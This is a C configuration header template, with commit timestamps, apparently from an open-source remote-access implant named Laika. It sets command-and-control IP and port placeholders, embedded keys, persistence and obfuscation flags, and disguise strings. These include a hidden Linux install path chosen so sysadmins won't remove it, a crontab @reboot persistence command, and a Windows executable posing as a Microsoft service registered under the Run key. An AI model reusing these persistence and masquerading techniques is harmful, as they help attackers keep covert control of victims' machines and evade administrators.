2022-01-30 07:15:51 +00:00
|
|
|
#ifndef LAIKA_CONFIG_H
|
|
|
|
#define LAIKA_CONFIG_H
|
|
|
|
|
|
|
|
/* version info */
|
|
|
|
#define LAIKA_VERSION_MAJOR @LAIKA_VERSION_MAJOR@
|
|
|
|
#define LAIKA_VERSION_MINOR @LAIKA_VERSION_MINOR@
|
2022-04-06 06:07:16 +00:00
|
|
|
#define LAIKA_VERSION_COMMIT "@GIT_VERSION@"
|
2022-01-30 07:15:51 +00:00
|
|
|
|
|
|
|
/* keys */
|
|
|
|
#define LAIKA_PUBKEY "@LAIKA_PUBKEY@"
|
|
|
|
#define LAIKA_PRIVKEY "@LAIKA_PRIVKEY@"
|
2022-03-15 18:05:11 +00:00
|
|
|
#define LAIKA_CNC_IP "@LAIKA_CNC_IP@"
|
|
|
|
#define LAIKA_CNC_PORT "@LAIKA_CNC_PORT@"
|
2022-01-30 07:15:51 +00:00
|
|
|
|
2022-04-08 00:04:42 +00:00
|
|
|
/* settings */
|
|
|
|
#cmakedefine LAIKA_PERSISTENCE
|
|
|
|
|
2022-05-11 01:28:54 +00:00
|
|
|
#cmakedefine LAIKA_OBFUSCATE
|
|
|
|
|
|
|
|
/* raw obfuscated strings */
|
|
|
|
|
|
|
|
/* =============================================[[ Linux Strings ]]============================================== */
|
|
|
|
|
|
|
|
/* we want a semi-random file lock that is stable between similar builds,
|
|
|
|
* so we use the GIT_VERSION as our file lock :D */
|
|
|
|
#define LAIKA_LIN_LOCK_FILE "/tmp/" LAIKA_VERSION_COMMIT
|
|
|
|
|
|
|
|
/* most sysadmins probably wouldn't dare remove something named '.sys/.update' */
|
|
|
|
#define LAIKA_LIN_INSTALL_DIR ".sys"
|
|
|
|
#define LAIKA_LIN_INSTALL_FILE ".update"
|
|
|
|
|
|
|
|
#define LAIKA_LIN_CRONTAB_ENTRY "(crontab -l ; echo \"@reboot %s\")| crontab -"
|
|
|
|
|
|
|
|
/* ============================================[[ Windows Strings ]]============================================= */
|
|
|
|
|
|
|
|
/* we want a semi-random mutex that is stable between similar builds,
|
|
|
|
* so we use the GIT_VERSION as our mutex :D */
|
|
|
|
#define LAIKA_WIN_MUTEX LAIKA_VERSION_COMMIT ".0"
|
|
|
|
|
|
|
|
/* looks official enough */
|
|
|
|
#define LAIKA_WIN_INSTALL_DIR "Microsoft"
|
|
|
|
#define LAIKA_WIN_INSTALL_FILE "UserServiceController.exe"
|
|
|
|
|
|
|
|
#define LAIKA_WIN_REG_KEY "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
|
|
|
|
#define LAIKA_WIN_REG_VAL "UserServiceController"
|
|
|
|
|
2022-05-19 06:42:40 +00:00
|
|
|
#define LAIKA_VM_CODESIZE 512
|
|
|
|
|
2022-01-30 07:15:51 +00:00
|
|
|
#endif
|